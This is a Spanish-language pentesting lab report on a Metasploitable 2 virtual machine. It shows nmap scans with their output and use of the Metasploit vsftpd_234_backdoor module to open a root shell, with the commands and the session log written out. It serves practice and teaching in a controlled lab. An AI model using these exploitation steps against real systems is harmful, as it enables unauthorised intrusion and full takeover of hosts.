

Introducción

En este laboratorio de pentesting se realizó una evaluación de seguridad sobre una máquina vulnerable (Metasploitable 2) con el objetivo de encontrar fallas explotables y obtener acceso remoto no autorizado desde una máquina a otra.

La evaluación se llevó a cabo en un entorno controlado utilizando herramientas como “nmap”, “Metasploit Framework” y máquinas virtuales en “Vmware”.

El objetivo es demostrar algunas habilidades prácticas en pruebas de penetración, explotación de vulnerabilidades y análisis post-explotación, documentando los resultados.

Metodología

1. **Enumeración de servicios:**

Se utilizó Nmap para escanear los puertos abiertos y detectar los servicios activos en la máquina víctima (Metasploitable 2). > nmap -sV -sC -p 21 192.168.209.137

2. **Análisis de servicios identificados:**

Se detectó un servidor FTP corriendo vsFTPD 2.3.4, una versión conocida por contener una backdoor.

3. **Explotación con Metasploit:**

Se utilizó el módulo exploit/unix/ftp/vsftpd_234_backdoor del framework Metasploit. Luego de configurar la IP de la víctima, se ejecutó el exploit y se obtuvo una shell remota como usuario root.

4. **Acceso al sistema:**

A través de la sesión abierta, se verificó el tipo de acceso con comandos como whoami y id, confirmando el control completo del sistema.

Hallazgos

- **Servicio vulnerable:** FTP (vsFTPD 2.3.4)
- **Puerto:** 21/tcp
- **Vulnerabilidad:** Esta versión de vsFTPD contiene un *backdoor intencionada*, introducida en el código fuente por un atacante antes de su publicación oficial. Permite el acceso remoto mediante una sesión de shell si se conecta con un nombre de usuario específico.

- **Explotación:** Se usó el módulo exploit/unix/ftp/vsftpd_234_backdoor de Metasploit, logrando acceso como usuario *root* directamente.
 - **Impacto:** Acceso remoto con privilegios máximos al sistema, permitiendo ejecución de comandos, lectura/escritura de archivos, y control total de la máquina.
-

Pruebas y Evidencias

Reconocimiento de red

- **Comando usado:**

```
nmap -sn 192.168.209.0/24
```

- **Descripción:**

Se realizó un escaneo ARP sobre la red para identificar los dispositivos activos. Se descubrió que la dirección IP 192.168.209.137 correspondía a la máquina víctima (Metasploitable 2).

Captura:

```
└─$ ping 192.168.209.136
PING 192.168.209.136 (192.168.209.136) 56(84) bytes of data.
64 bytes from 192.168.209.136: icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from 192.168.209.136: icmp_seq=2 ttl=64 time=0.045 ms
^C
— 192.168.209.136 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.044/0.044/0.045/0.000 ms

└─(kali㉿kali)-[~]
└─$ nmap -sn 192.168.209.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 07:22 EDT
Nmap scan report for 192.168.209.1
Host is up (0.00027s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.209.137
Host is up (0.00032s latency).
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap scan report for 192.168.209.254
Host is up (0.00020s latency).
MAC Address: 00:50:56:FF:4A:69 (VMware)
Nmap scan report for 192.168.209.136
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.97 seconds
```

Escaneo de puertos y servicios

Comando usado:

nmap -p- 192.168.209.137

- **Descripción:**

Se identificaron múltiples servicios corriendo en la máquina víctima. Destaca el puerto 21 con el servicio FTP (vsFTPD 2.3.4), que es conocido por contener una backdoor.

Captura:

```
(kali@kali)-[~]
$ nmap -p- 192.168.209.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 07:26 EDT
Nmap scan report for 192.168.209.137
Host is up (0.0024s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
36702/tcp open  unknown
41764/tcp open  unknown
52502/tcp open  unknown
53288/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 19.22 seconds
```

Explotación con Metasploit

Comando usado:

```
set RHOSTS 192.168.209.137
use exploit/unix/ftp/vsftpd_234_backdoor
run
```

- **Descripción:**

Se utilizó el módulo de Metasploit para explotar la vulnerabilidad en vsFTPD. La ejecución fue exitosa, abriendo una shell remota con privilegios de root.

Captura:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.209.137
RHOSTS => 192.168.209.137
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use
Usage: use <name|term|index>
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.209.137:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.209.137:21 - USER: 331 Please specify the password.
[*] 192.168.209.137:21 - Backdoor service has been spawned, handling ...
[*] 192.168.209.137:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.209.136:41241 -> 192.168.209.137:6200) at 2025-04-13 07:41:43 -0400
```

Conclusión

Durante este laboratorio se logró entrar satisfactoriamente a una máquina virtual vulnerable utilizando herramientas comunes en entornos de penetración. Se identificó una vulnerabilidad conocida en el servicio vsFTPD 2.3.4 que permitió obtener acceso remoto como usuario root.

Este ejercicio sirvió para practicar las fases fundamentales de un pentest: reconocimiento, escaneo, explotación y post-explotación, así como la elaboración de un informe técnico.

Github: <https://github.com/Lucased12>